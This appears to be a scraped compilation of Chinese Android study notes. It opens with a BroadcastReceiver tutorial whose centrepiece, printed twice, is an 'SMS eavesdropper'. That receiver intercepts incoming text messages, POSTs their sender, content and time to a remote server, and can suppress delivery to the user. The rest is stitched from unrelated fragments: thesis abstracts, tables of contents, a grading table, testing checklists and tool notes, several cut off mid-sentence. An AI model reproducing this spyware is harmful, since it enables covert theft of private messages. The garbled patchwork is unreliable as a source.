Android深入探究笔记之二十-- 广播接收者,BroadcastReceiver 收藏
1. 概述
广播被分为两种不同的类型:“普通广播(Normal broadcasts)”和“有序广播(Ordered broadcasts)”。
普通广播是完全异步的,可以在同一时刻(逻辑上)被所有接收者接收到,消息传递的效率比较高,
但缺点是:接收者不能将处理结果传递给下一个接收者,并且无法终止广播Intent的传播。
然而有序广播是按照接收者声明的优先级别,被接收者依次接收广播。如:A的级别高于B,B的级别高于C,那么,广播先传给A,再传给B,最后传给C 。
优先级别声明在intent-filter 元素的android:priority 属性中,数越大优先级别越高,取值范围:-1000到1000,优先级别也可以调用IntentFilter对象的setPriority()进行设置。
有序广播的接收者可以终止广播Intent的传播,广播Intent的传播一旦终止,后面的接收者就无法接收到广播。
另外,有序广播的接收者可以将数据传递给下一个接收者,如:A得到广播后,可以往它的结果对象中存入数据,当广播传给B时,B可以从A的结果对象中得到A存入的数据。
Context.sendBroadcast()
发送的是普通广播,所有订阅者都有机会获得并进行处理。
Context.sendOrderedBroadcast()
发送的是有序广播,系统会根据接收者声明的优先级别按顺序逐个执行接收者,
前面的接收者有权终止广播(BroadcastReceiver.abortBroadcast()),如果广播被前面的接收者终止,
后面的接收者就再也无法获取到广播。
对于有序广播,前面的接收者可以将数据通过setResultExtras(Bundle)方法存放进结果对象,
然后传给下一个接收者,下一个接收者通过代码:Bundle bundle = getResultExtras(true))可以获取上一个接收者存入在结果对象中的数据。
2.
广播接收者(BroadcastReceiver)用于接收广播Intent,广播Intent 的发送是通过调用Context.sendBroadcast()、Context.sendOrderedBroadcast() 来实现的。
通常一个广播Intent 可以被订阅了此Intent 的多个广播接收者所接收,这个特性跟JMS 中的Topic 消息接收者类似。
要实现一个广播接收者方法如下:
第一步:继承BroadcastReceiver,并重写onReceive()方法。
public class IncomingSMSReceiver extends BroadcastReceiver {
@Override public void onReceive(Context context, Intent intent) {
}
}
第二步:订阅感兴趣的广播Intent,订阅方法有两种:
第一种:使用代码进行订阅
3.
在Android中,每次广播消息到来时都会创建BroadcastReceiver实例并执行onReceive() 方法,
onReceive() 方法执行完后,BroadcastReceiver 的实例就会被销毁。
当onReceive() 方法在10秒内没有执行完毕,Android会认为该程序无响应。
所以在BroadcastReceiver里不能做一些比较耗时的操作,否侧会弹出ANR (Application No Response)的对话框。
如果需要完成一项比较耗时的工作,应该通过发送Intent给Service,由Service 来完成。
这里不能使用子线程来解决,因为BroadcastReceiver 的生命周期很短,子线程可能还没有结束BroadcastReceiver就先结束了。
BroadcastReceiver一旦结束,此时BroadcastReceiver所在的进程很容易在系统需要内存时被优先杀死,
因为它属于空进程(没有任何活动组件的进程)。
如果它的宿主进程被杀死,那么正在工作的子线程也会被杀死。所以采用子线程来解决是不可靠的。
4. 实现短信窃听器
* 当短信到来的时候,会发出一个短信到来广播。只要订阅这个广播。就能获取到短信的所有信息。
* 系统收到短信,发出的广播属于有序广播。
如果想阻止用户收到短信,可以通过设置优先级,让你们自定义的接收者先获取到广播,然后终止广播,这样用户就接收不到短信了。
* 新建Android 项目:SMSListener
* 在AndroidManifest.xml 添加相应权限
android:name="android.permission.RECEIVE_SMS"/> view plaincopy to clipboardprint? /** * 短信窃听器 */ public class IncomingSMSReceiver extends BroadcastReceiver { private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if(SMS_RECEIVED.equals(action)) { Bundle bundle = intent.getExtras(); if(bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); for(Object pdu : pdus) { /* 要特别注意,这里是android.telephony.SmsMessage 可不 是android.telephony.SmsManager */ SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); String sender = message.getOriginatingAddress(); String conetnt = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = dateFormat.format(date); sendSMS(sender, conetnt, time); /* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽 * 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/ if("5556".equals(sender)){ abortBroadcast(); } } } } /** * 发送拦截的短信到服务器 */ private void sendSMS(String sender, String conetnt, String time) { try { /* HTTP 协议的实体数据*/ byte[] entity = getEntity(sender, conetnt, time); /* 发送的目标地址*/ URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setConnectTimeout(5*1000); conn.setRequestMethod("POST"); //必须设置此属性为true conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); OutputStream os = conn.getOutputStream(); os.write(entity); /* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。因此必须要调用这个方法一下。*/ conn.getResponseCode(); os.close(); } catch (Exception e) { } } private byte[] getEntity(String sender, String conetnt, String time) throws Exception { String params = "method=getSMS&sender="+ sender+"&content="+ URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time; return params.getBytes(); } /** * 短信窃听器 */ public class IncomingSMSReceiver extends BroadcastReceiver { private static final String SMS_RECEIVED = "android.provider.Telephony.SMS_RECEIVED"; @Override public void onReceive(Context context, Intent intent) { String action = intent.getAction(); if(SMS_RECEIVED.equals(action)) { Bundle bundle = intent.getExtras(); if(bundle != null) { Object[] pdus = (Object[]) bundle.get("pdus"); for(Object pdu : pdus) { /* 要特别注意,这里是android.telephony.SmsMessage 可不 是android.telephony.SmsManager */ SmsMessage message = SmsMessage.createFromPdu((byte[])pdu); String sender = message.getOriginatingAddress(); String conetnt = message.getMessageBody(); Date date = new Date(message.getTimestampMillis()); SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); String time = dateFormat.format(date); sendSMS(sender, conetnt, time); /* 实现黑名单功能,下面这段代码将5556 发送者的短信屏蔽 * 前提是,本接受者的优先权要高于Android 内置的短信应用程序*/ if("5556".equals(sender)){ abortBroadcast(); } } } } } /** * 发送拦截的短信到服务器 */ private void sendSMS(String sender, String conetnt, String time) { try { /* HTTP 协议的实体数据*/ byte[] entity = getEntity(sender, conetnt, time); /* 发送的目标地址*/ URL url = new URL("http://192.168.1.102:8080/myvideoweb/ems.do"); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setConnectTimeout(5*1000); conn.setRequestMethod("POST"); //必须设置此属性为true conn.setDoOutput(true); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(entity.length)); OutputStream os = conn.getOutputStream(); os.write(entity); /* 在此方法之前conn 的数据都是被缓存起来的,并没有真正发送。因此必须要调用这个方法一下。*/ conn.getResponseCode(); os.close(); } catch (Exception e) { } } private byte[] getEntity(String sender, String conetnt, String time) throws Exception { String params = "method=getSMS&sender="+ sender+"&content="+ URLEncoder.encode(conetnt, "UTF-8")+ "&time="+ time; return params.getBytes(); } } AndroidManifest.xml 的代码清单 view plaincopy to clipboardprint? package="wjh.android.sms" android:versionCode="1" android:versionName="1.0"> android:label="@string/app_name"> android:name="android.provider.Telephony.SMS_RECEIVED" /> package="wjh.android.sms" android:versionCode="1" android:versionName="1.0"> android:label="@string/app_name"> 4. 其它广播Intent 除了短信到来广播Intent,Android还有很多广播Intent,如:开机启动、电池电量变化、时间已经改变等广播Intent。 ** 接收电池电量变化广播Intent ,在AndroidManifest.xml文件中的 android:name="android.intent.action.BATTERY_CHANGED"/> ** 接收开机启动广播Intent,在AndroidManifest.xml文件中的 android:name="android.intent.action.BOOT_COMPLETED"/> 并且要进行权限声明: android:name="android.permission.RECEIVE_BOOT_COMPLETED"/ 设计报告成绩评定表: 评分内容成绩 系统方案思路合理性(10%) 报告内容的完整性(10%) 硬件原理图及说明(20%) 程序流程图(20%) 程序清单(10%) 调试及结果分析(10%) 系统改进建议或者方案(10%) 格式规范(10%) 总分 备注:以上总分为该组的平均分,根据成员分工具体分数如下。 小组成员分工分数刘志负责代码的编写 云庆负责总计界面的设计与优化 负责整个设计过程中的ppt制作,以及答辩申任翔 吴宜凡负责调试整个程序,报告撰写 基于Android的简单记事本的设计 摘要 本文主要阐述了基于Android的简单记事本的设计与实现,较为系统的介绍了用户通过点击add按钮编辑事件、通过save按钮添加事件,以及在主界面查看事件列表、单击列表查看单个事件的详细内容,和通过长按列表弹出对话框,选择修改事件、删除事件等。本文主要介绍的是运用eclipse软件进行Android 应用的设计,如使用Activity类、运用Intent技术实现页面的跳转、通过数据存储实现标题、时间、内容的保存以及取出查看的功能。通过以上技术使应用中的各项操作简便易懂并且有明确的提示,让用户可以更清晰快捷地掌握该记事本的使用,为用户节省了时间,为用户提供了便利,随时随地都能记录生活。 关键词:Android、记事本、Intent、Activity 目录 绪论 (1) 一丶需求分析和概要设计 (3) 1.1需求分析 (3) 1.2整体要求 (3) 1.3开发工具和环境 (3) 二丶系统设计 (4) 2.1系统设计架构 (4) 2.2界面概述 (5) 2.3模块概述 (6) 三丶系统详细设计 (6) 四丶系统的不足及改进 (9) 五丶总结 (10) 六丶参考文献 (11) 开发者学习笔记——View&Canvas BitMap、View以及Canvas是我们Ophone程序中常用到的类。本日以feisky的学习笔记呈现,通过实例讲解View&Canvas等等。 1. 从资源中获取位图 可以使用BitmapDrawable或者BitmapFactory来获取资源中的位图。 当然,首先需要获取资源: Resources res=getResources(); 使用BitmapDrawable获取位图 使用BitmapDrawable (InputStream is)构造一个BitmapDrawable; 使用BitmapDrawable类的getBitmap()获取得到位图; // 读取InputStream并得到位图 InputStream is=res.openRawResource(R.drawable.pic180); BitmapDrawable bmpDraw=new BitmapDrawable(is); Bitmap bmp=bmpDraw.getBitmap(); 或者采用下面的方式: BitmapDrawable bmpDraw=(BitmapDrawable)res.getDrawable(R.drawable.pic180); Bitmap bmp=bmpDraw.getBitmap(); 使用BitmapFactory获取位图 (Creates Bitmap objects from various sources, including files, streams, and byte-arrays.) 使用BitmapFactory类decodeStream(InputStream is)解码位图资源,获取位图。Bitmap bmp=BitmapFactory.decodeResource(res, R.drawable.pic180); BitmapFactory的所有函数都是static,这个辅助类可以通过资源ID、路径、文件、数据流等方式来获取位图。 以上方法在编程的时候可以自由选择,在Android SDK中说明可以支持的图片格式如下:png (preferred), jpg (acceptable), gif (discouraged),和bmp(Android SDK Support Media Format)。 一、实验详细代码 (1)布局的代码 a.edit.xml代码 封面 Android 基础UI编程1 更改与显示文字标签 TextView 标签的使用 ①导入TextV iew包 import android.widget.TextView; ②在mainActivity.java中声明一个TextView private TextView mTextView01; ③在main.xml中定义一个TextView 武汉理工大学本科学生毕业设计 (论文)开题报告 1、目的及意义(含国内外的研究现状分析) 这次课题的目的是在Android系统的手机开发平台之上,研究与开发一个记事本软件,提供适用手机的记事本功能服务,其中包括以下几个功能: (1)文本、图形记事支持;(2)语音记事支持;(3)内容检索与管理; (4)以邮件或短信方式发送信息。 首先,记事本的基本功能就是记事,手机用户首先用到的就是文本记事,输入事务信息以文本的形式展现出来,存储起来。随着用户需求的增加,可能希望用图形来代替文本来记事,用户之间打开记事本,看到图片就能联系自己所记载的事务信息。这样免去了输入文字的麻烦,反而会更简单。又或者是文本与图片的交叉运用,可以让用户自己选择自己喜欢的记事方式,更加自由与便捷。所以此功能的意义是让简单的记事信息能以文本和图形表达,更加丰富多彩。 其次,在支持传统的文字记事方式下,还要支持语音记事。因为用户需要追求更加简单的记事方式,不需要手动输入文字,而是直接语音记事。语音直接保存,有利于下次用户直接查看时点击按钮就可以播放相应的录音信息了。这对于某些眼睛不太好的,或者说更喜欢听的用户是很有吸引力的。 再次,如果记事本的信息很多,而用户又需要快速找到自己需要的记事信息,这时候内容检索就非常有用了。对于业务繁忙,或者是经常写备忘录记事的群体,这个内容检索功能能带给用户很多的便利。让他们更加高效的利用手机,节约时间,高效工作与生活。 最后,针对商务人士,或者是经常使用邮箱(如Gmail)的用户来说,有时候希望通过查看邮箱的同时查看记事本的信息,一次性获取全部。所以记事本同步邮箱功能能够为用户带来更多的功能与便利。 国内外现状分析: 目前国内外有4款比较火的记事本软件。分别是Evernote,小米便签,NoteEverything,麦库记事。 Evernote 在软件界面方面界面清爽,需注册登录后才可使用,图标布局比较协调;记事笔记方面可编写内容,添加标签,支持上传图片、音频、视频、文件等附件;特色功能方面具有搜索笔记和发送笔记、定位服务、同步等功能;资源占用方面内存占最多,CPU占用适中。 小米便签在软件界面方面界面功能简单,可查看和新建便签,菜单功能相对丰富;记事方面只支持文字内容,可以选择桌面Widget颜色、字体大小等;特色功能方面可以移进文件夹和分享、备份、还原和设置保护密码;资源占用方面内存占用较中,CPU占用最少。 Note Everything界面简洁,上方有新建记事和搜索等按钮,菜单功能非常丰富;支持文本、绘图、语音、图片、清单、图库、视频、条形码等形式,可固定显示记事;特色是单个记事加密,数据备份、还原、导入、到处,创建快捷方式;内存占用最少,CPU占用较中。 麦库记事界面比较精美,菜单功能相对简单;可选分类、加标签、附件,支持拍照和实时录音。特色是笔记搜索和分类,网络同步和笔记分享;内存占用适中,CPU占用最多。 题目:基于Android手机平台的记事本设计 系名信息工程系 专业移动通信 学号 姓名 指导老师 2011/6/28 目录 第一章引言 1.1课题研究的目的 1.2课题研究的意义 1.3课题的可行性分析 第二章开发环境的安装和配置 2.1 开发包及其工具的介绍 2.2 Android开发平台的搭建步骤第三章程序设计 3.1 记事本组建的介绍 3.2 记事本存储实现 第四章程序开发 4.1 主activity的设计 4.2 编译内容 4.3 删除记事 第五章程序的测试 第六章总结 参考文献 第一章引言 1.1 课题研究的目的 1.熟悉一下eclipse工具和安卓的环境配置及开发的过程 2.熟练掌握java的组件如button,textview,listView,menu等组件的灵活应用 3.熟练掌握安卓的一个关于数据保存的方式content providers。 4.锻炼一下自己遇到问题,然后解决问题的能力。 1.2 课题研究的意义 随着3G技术的成熟和只能手机的不断普及,移动应用的需求yuri剧增,移动应用开发成为当下最热门的技术之一。在谷歌和安卓手机联盟的共同推动下,安卓在众多移动应用开发平台中脱颖而出。 我们都知道,无论是产品还是技术,商业应用都是它最大的发展动力。安卓如此受到厂商与开发者的青睐,他的前景是一片光明。国内对于安卓这方面的市场还没有完全开发出来。只要我们努力学习安卓,相信对以后无论是生活还是就业都大有裨益。 本文所做的主要工作如下: 开发环境及开发工具的安装及配置 阐述整个记事本的系统结构及工作原理; (1)设计实现“添加记事”,“编辑内容”和“删除当前 实现直接拒接来电 经过简单的google/baidu后,发现android没有现成的API去拒接电话。android可以通过注册BroadcastReceiver截取短信,因为这个broadcast是一个ordered broadcast,所以只要优先级比短信接收程序高,就可以提前终止掉这个broadcast receiver。 但是,电话呼入则没有类似的机制。不过,综合网上的一些资料,通过以下大体的步骤,则可以实现拒接电话: 1、注册broadcast receiver,监视手机状态: Java代码 1. 毕业设计(论文) 题目:基于Android平台记事本的设计与实现 姓名:学号: 系(院):信息工程系班级: 指导教师:职称:讲师 二O一四年五月二十日 目录 第一章引言 (1) 1.1研究目的及意义 (1) 1.2 国内外研究现状分析 (1) 1.3 发展趋势 (2) 1.4 可行性分析 (3) 1.5 基本内容 (4) 第二章开发环境的安装和配置 (5) 2.1开发包及其工具的介绍 (5) 2.2 Android开发平台搭建步骤: (6) 2.3硬件环境 (7) 2.4软件环境 (7) 2.5 系统架构 (7) 2.6 工程主体架构 (9) 第三章系统的设计 (11) 3.1功能需求 (11) 3.1.1用户触发事件 (11) 3.1.2记事本基本需求控制 (11) 3.2系能需求 (12) 3.2.1响应时间 (12) 3.2.2稳定性 (12) 3.2.3安全性 (12) 第四章程序的设计 (13) 4.1 记事本组件的设计 (13) 4.2 记事本逻辑设计 (13) 4.3记事本存储实现 (13) 4.3.1数据存储之sharedPreferences (14) 4.3.2数据存储之files (14) 4.3.3数据存储之network (16) 4.3.4数据存储之SQLite (17) 4.3.5 数据存储之ContentProviders (20) 第五章程序的开发 (20) 5.1主activity的设计 (20) 5.2编辑内容 (21) 5.3删除记事 (23) 第六章系统的测试 (24) 6.1 添加新记事 (24) 6.2 查看记事 (27) 2012年3月21日 系统测试(非功能性测试) 1、适配性测试 a) 手机的型号 b) 网络通信情况(2G\3G\WIFI\飞行模式、NET\WAP、中国电信、移动、联通) c) Android的版本号(Android 4.0、Android 2.3、Android 2.2、Android 2.1)主要是2.2\2. 3.*\ 4.0 d) 屏幕的分辨率(1280×720、960×640、960×540、854×480、800×480、640×480、640×360、480×360、480×320、400×240、320×240、220×176、) 2、功能模块测试(功能性测试) a) 根据预先编写的测试用例测试 3、异常测试(手机交互性事件) a) *按键打断,如:电源键、home键、音量键、返回键等;插拔数据线 b) 其他程序后台相互切换 c) *网络切换(2G\3G\WIFI\飞行模式、NET\WAP、中国电信、移动、联通、) d) 待机后是否能恢复程序和网络 e) 短信、电话和闹铃 f) 安装、覆盖安装和卸载 g) 有无SIM卡、有无SD卡 4、编写帮助文档或使用说明 2012-6-28 用户体验测试 1、界面 ①文字错误、图片不显示或显示不正确、缺少输入项、按钮的大小和点击效果 ②布局、图片和配色设计问题,测试人员很难进入 ③提示信息,提示信息语言准确简洁,有指导性。在应该提示的位置放入提示信息,比如程序需要接入网络,在无网络的情况下应给予提示 ④提示信息,提示信息的方式有很多,大概有弹出式和非弹出式两种,根据实际情况来区分 ⑤阅读性,手机因输入方式和屏幕大小限时,目前以阅读为主要(除聊天软件),做好阅读是关键。文字字体、大小、颜色和背景颜色可调整,夜间模式 ⑥简洁,看看any.do就知道什么是简洁了,如穿着白纱美女的油画一般 ⑦输入法,输入法不能挡住输入框;回车可以跳转到下一个输入框 2、稳定性 ①网络,需要访问网络的程序,在网络不稳定的情况下,应能正常运行,不应出现意外退出和错误;如程序无法在该环境下运行,应提示用户 ②网络切换,同上 ③网络信号弱,同上 ④进程切换,在多进程切换中,应正常运行,并保持切换前页面,不应出现意外退出和错误 3、性能 ①程序进行某些功能时,不应使手机出现卡、顿等情况,视实际情况而定 4、安装 ①路径,可选择手机、SD卡 Android开发学习笔记 by---- 三爷一、新建项目 Application Name: 应用程序名,即该应用的名称,日后在安卓市场上将显示该App名称,与项目无关。 Project Name:项目中的工程名(项目中的App名),注意,在项目中将使用该名称,该工程将被存放在下面命名的包下,命名时要注意规范。 Package Name:包名,格式为“com.自定义的包名.工程名”,其中包名自定义,但包名后的工程名必须和上面的Project Name一至。 Build SDK:选择android SDK的版本,建议选择1.6版本兼容范围广一点 Minimum Required SDK:该程序兼容的最低SDK版本,这里选择的版本必须跟上面选择的Build SDK版本一致。 Activity Name:第一个Activity的名称,随意命名,它将是程序的入口 Layout Name:为第一个Activity布局的xml文件名称,随意命名,建议与其对应的activity 名称有一定的关联性。 Title:上面设置的Activity的标题(这个在程序里都可以改) 二、项目文件夹说明 com.PackageName.ProjectName:该项目的文件夹,里面存放我们编写的源文件 gen:由ADT自动生成,其中包含有一个R.java的文件是用于声明res文件夹下的资源的句柄,程序将通过该文件来引用项目中的资源,该文件不要随意改动,。 Android 1.6:这里面是android的SDK包,程序中所有引用android的类都是从这个包里引用;这里的1.6为新建项目时选择的sdk版本号,这里的版本号会根据你新建项目时选择的版本号不同而不同。 bin:这个目录存放编译生成的android安装文件 assets:存放项目的资源,比如视频、音频、图片等较大的资源,注意该目录下的资源不会被生成句柄,所以只能通过路径来引用。 基于android个人记账本的设计与开发 摘要 随着智能手机的快速普及,智能手机操作系统市场风生水起。为了让智能手机用户能够随时随地查询互联网所提供的服务,一种高效的办法就是将应用系统的功能拓展到手机终端上,让手机能够通过移动网以及互联网访问Web网站并处理各种各样的业务。因此,智能手机的应用软件及其需要的服务将有广阔的发展前景。 在如今这个智能手机系统群雄纷争的时候,2008年Google推出了一款名为Android 的开源智能手机操作系统,它采用Linux内核,开放手机联盟(OHA)成员可以任意使用和修改SDK包,系统的开源性使其具有良好的拓展性。这款软件包括了操作系统、用户界面和应用程序,即智能手机工作所需要的全部软件。Android的最大特点是其开放性体系架构,不仅具有非常好的开发、调试环境,而且还支持各种可扩展的用户体验,包括丰富的图形组件、多媒体支持功能以及强大的浏览器。因此,对于软件从业人员来说,Android平台具有无限的吸引力。 本文就在分析讨论Android手机软件开发技术原理的基础上,开发出能为用户提供更好的基于Android平台的个人记账手机软件。 关键词Java; Android; 记账;智能手机平台 Based on the android personal account the design and development Abstract With the rapid proliferation of smartphones, smart phone operating system market, wind and water. In order for smartphone users to check the Internet anytime, anywhere services provided anefficient way to expand the function of the system will be applied to themobile phone terminal, the mobile phone to Internet access via mobile networks,and variety of Web sites and process business. Therefore, the smart phone applicationsand the need for the service will have broad prospects for development. In today's smart phone system whendisputes warlords, 2008, Google introduced a smart phone called the Androidopen source operating system, which uses Linux kernel, Open Handset Alliance(OHA) members can be free to use and modify the SDK package, the system It hasa good open-source nature of the expansion of. The software includes theoperating system, user interface and applications that need to work smartphones all the software. Android's biggest feature is its open architecture,not only has a very good development and debugging environment, but alsosupports a variety of scalable user experience, including rich graphicalcomponents, multimedia support, and powerful browser. Therefore, for softwareprofessionals is, Android platform has unlimited appeal. In this paper, the analysis anddiscussion Android mobile phone software development technology on the basis ofthe principle, developed to provide users with better platform to the personalcharge basedon Android meteorological software. Key words Java; Android; charge; smartphoneplatform 1.avd:android virtual device 2.5554:模拟器端口号 3.ddms 观察线程thread 堆栈heap 、file explorer、emulator control(模拟打电话发短信) 4.Extras文件夹拓展工具 5.Adb.exe: android debug bridge 安卓调试桥 6.Adb常用指令:(配置环境变量) 1)adb devices:列出所有连接设备 2)Reset adb:重启adb调试桥 3)Adb kill-server:杀死adb调试桥 4)Adb start-server:启动adb调试桥 5)Netstat -ano:查看端口号 ----------------------------------------------------------------------------------------- 7.Platforms是系统文件 8.Assets是资产目录存放在该文件夹下面这些文件会被打包到应用程序的apk 9.Bin 编译后的文件目录 10.Gen自动生成的其下的R.java的内容也是通过修改其他文件内容而自动生成 11.Android.jar基于此jar包的开发 12.Project.properties 代表编译的版本可以修改 13.Libs 支持jar 包会被添加到Android dependence(依赖)目 录下 14.Res 资源目录 15.Drawable存放应用程序图标会自动生成一个id 在R文件里 1)H high 高分辨率 2)M middle 中分辨率 3)L low 低分辨率 4)X extra large 特大分辨率 5)Xx 超大分辨率 16. R文件的作用:自动编译生成res文件中的ID 17.Android manifest:应用程序的清单文件 程序的配置信息启动的图标应用程序名称包名版本号 -------------------------------------------------------------------------------------- 18.Android下软件安装的过程: 1)拷贝xxx.apk到/data/app/xxx-1.apk 2)在data/data目录下创建一个文件夹文件夹名称是当前应 用程序的包名。 3)软件卸载的过程是相反的 19.system/app下安装的是系统自带的应用 20.Windows下注册表是通过数据库实现;Android下的注册表是用xml文件实现 Android智能电视APP开发笔记(一) 1缘起 以小米盒子为代表的OTT机顶盒、智能电视的快速普及,快速推动了Android技术在机顶盒、智能电视领域的普及。既然都是用的Android操作系统,那么从技术上来说应该是大同小异的,当然和手机APP的应用相比,电视端的APP开发应该有一些都有的特点需要关注,我相信这样的特点应该不会太多。 写这个笔记的缘起在于一个生活上的小小不便,因为儿子正在读小学,每天早上起来都需要听英语,学校发的磁带真的是不方便,老的磁带机相信很少有人用了,虽然也给他买了一个步步高的复读机,不过没用几天就被搁置了。于是我在网上搜了个APP,在手机上很好用,可以直接翻看课文,也可以朗读课文,翻到哪页就朗读哪页,如果不翻动,就自动往下读,做的还是相当人性化的,但是这样一个新的问题产生了,每天早上我的手机就被我儿子霸占了,接到音响上听英语了,我要看个朋友圈啊啥的,就不方便了。 刚好家中有个OTT机顶盒,可以安装APP,就想着把这个APP装到OTT机顶盒上,结果发现完全无法使用,界面不对了,遥控器也响应不了了,完全无法使用啊,结论就是手机APP和TV APP还是有些区别的,须要作些微调适配的。 咋整呢?重新给写一个TV APP吧,为了夺回我手机的控制权,好歹哥以前也是开发工程师啊。 2Win7虚拟机创建 2.1 VMware Workstation安装 直接把开发环境安装在自己电脑上感觉不是太好,一个影响系统运行速度,二是免不了要装了卸,卸了装,把电脑运行环境搞得乱七八糟。所以决定还是在虚拟机环境中玩。 虚拟机当然选行业老大VMware了,下载Vmware workstation进行安装。没想到这玩意都升级到11.1版本了,这个世界真的是变化快啊。 从官网下载后再安装: 《移动通信程序设计》 课程设计 题目基于andriod的记事功能的日历 院系 专业 学生姓名 学号 二O一四年六月九日 目录 1概述 (1) 2 总体设计 (2) 3详细设计 (3) 3.1、绘画基础 (5) 3.2框架绘画 (6) 3.3 核心技术 (11) 3.4 触摸事件 (14) 3.5 键盘操作 (17) 4进行编码: (19) 4.1登录 (19) 4.2事情记录 (20) 4.3 对闹铃的设置 (21) 4.4记事列表 (23) 4.5 闹铃 (25) 4.6 对记事的编辑 (26) 5 结束语 (27) 6参考文献 (27) 实现基于Android 的日历及记事功能系统 摘要: Android 作为目前较为流行的智能手机操作系统已成为大多数人的首选。在美国乃至世界的很多地方的出货量已经超越Iphone,成为世界上最大智能手机操作系统。因此,世界各地的程序员都跃跃欲试地想学习Android 的开发,并希望从中捞得属于自己的第一桶金。在此给出一个基于Android 的日历系统的完整实现过程。 关键词: Android;日历;记录;提醒 1概述 在日常工作中,特别强调时间的重要性,需要完成的事情也越来越多,因此对日历的需求也是巨大的,由于在日常生活中我们不可能将随身携带,我们可以将软件做到移动终端,在此情形下,基于andriod的技术带有记事功能的日历就诞生。 要实现的日历除了常规的日历功能外,还可以显示与当前日期相关的信息,如今天是今年的第几周等等。效果如图1、图2 所示。 图1 在手机上所显示的日历图标 图2 日历的主界面 2 总体设计 对于andriod的开发的日历的应该一开始显示日历,然后登陆,进行记事,主要流程图如下: 第一行代码Android学习笔记 感谢《第一行代码》,感谢郭霖博主,拯救我于水火。之前看视频学习Android,自以为已经小成了。在网易工作的朋友问了我几个问题,我就懵逼了。然后,遇到了《第一行代码》,终于把我带进了Android的世界。好书,真的会醉人啊。 这是学习第二遍时的部分笔记,以备后用。 这是第二版,比第一版增加了一些常用的方法。 hujunjob 于北航 2015.04.02 目录 第一章Android系统 (6) 1.1 安卓系统架构 (6) 1.2 Android 项目中的资源 (6) 第二章Activity (6) 一、创建Activity步骤: (6) 二、采用Intent切换activity (7) 1、显式Intent (7) 2、隐式Intent (7) 3、隐式Intent的其他用法 (8) 三、Intent传递数据 (8) 1、向下一个activity传递数据 (8) 2、返回数据给上一个activity (8) 四、activity的生命周期 (9) 1、活动状态 (9) 2、activity生存期 (9) 3、activity被回收数据保存 (11) 五、activity的启动模式 (11) 六、activity最佳实践 (11) 1、知道当前页面是哪一个activity (11) 2、随时随地退出程序 (11) 3、给每个activity都添加一个合适的启动方法 (13) 第三章UI (13) 一、常用控件 (13) 1、TextView (13) 2、Button (13) 3、EditText (13) 4、ImageView (14) 5、ProgressBar (14) 6、AlertDialog (14) 7、ProgressDialog (15) 二、基本布局 (15) 1、LinearLayout (15) 2、RelativeLayout (15) 3、FrameLayout (15) 4、TableLayout (15) 5、GridLayout (16) 三、自定义控件 (16) 1、添加自定义标题布局(无操作的) (16) 2、创建自定义控件 (16) 四、ListView (17) 1、最简单的Adapter (17) 2、定制ListView界面 (18) 摘要:本文主要阐述了基于Android的简单记事本的设计与实现,较为系统的介绍了用户通过点击add按钮编辑事件、通过save按钮添加事件,以及在主界面查看事件列表、单击列表查看单个事件的详细内容,和通过长按列表弹出对话框,选择修改事件、删除事件等。本文主要介绍的是运用eclipse软件进行Android应用的设计,如使用Activity类、运用Intent 技术实现页面的跳转、通过数据存储实现标题、时间、内容的保存以及取出查看的功能。通过以上技术使应用中的各项操作简便易懂并且有明确的提示,让用户可以更清晰快捷地掌握该记事本的使用,为用户节省了时间,为用户提供了便利,随时随地都能记录生活。 关键词:Android、记事本、Intent、Activity 目录 绪论.......................................................... 错误!未定义书签。 1 需求分析和概要设计 (3) 1.1需求分析 (3) 1.2整体要求 (3) 1.3开发工具和环境 (3) 2 系统设计 (4) 2.1系统设计架构 (4) 2.2界面概述 (4) 2.3模块概述 (5) 3 系统详细设计 (6) 3.1N OTEPAD A CTIVITY类 (6) 3.1.1 add按钮监听 (6) 3.1.2 ListView监听 (6) 3.1.3 initListView方法() (7) 3.2E DIT T EXT A CTIVITY类.......................................... 错误!未定义书签。 3.2,.1 SAVE按钮监听......................................... 错误!未定义书签。 3.3C HECK L IST A CTIVITY类 ........................................ 错误!未定义书签。 3.4D ATABASE H ELPER类........................................... 错误!未定义书签。 3.5D ATABASE M ANAGER类 (8) 3.6L IST V IEW A DAPETER类 (18) 4 系统的不足及展望 (9) 4.1不足 (9) 4.1.1 没有特色 (9) 4.1.2 支持的形式太少 (9) 4.2展望 (9) 4.2.1 实现备忘录提醒 (9) 总结 (10) 1,android手势开发识别Gestrue开发 (https://www.doczj.com/doc/2d2939519.html,/tsdl2009/archive/2010/08/13/5810922.aspx) 经过了一段Android的学习,基本上了解了Android的基础知识。今天,我们来研究一下Android中特有的手势识别技术,即Gesture。首先,我从网上找了很多资料,具体归纳起来有2类:一类是触摸屏手势识别,另一类是输入法手势识别。 我们先来讨论一下第一类触摸屏手势识别,这个比较简单,就是利用触摸屏的Fling、Scroll等Gesture(手势)来操作屏幕,比如用Scroll手势在浏览器中滚屏,用Fling在阅读器中翻页等。在Android系统中,手势的识别是通过GestureDetector.OnGestureListener接口来实现的。下面通过我自己的一个动手实验来进行介绍。 首先,我们在Eclipse中创建一个工程,名称叫SignFilpDemo。然后,在src 中创建一个SignFilpDemo源文件。这个工程是基于Android1.6的。因为,在Android 1.6之前的版本中,需要开发者编写大量的代码才能实现某些更为复杂的Gestures功能。而在之后的版本SDk中嵌入标准的Gestures API库(Package: android.gesture),包括了所有与Gesture技术相关的操作:存储、加载、创建新Gestures和识别等。其工程结构如下: 图1 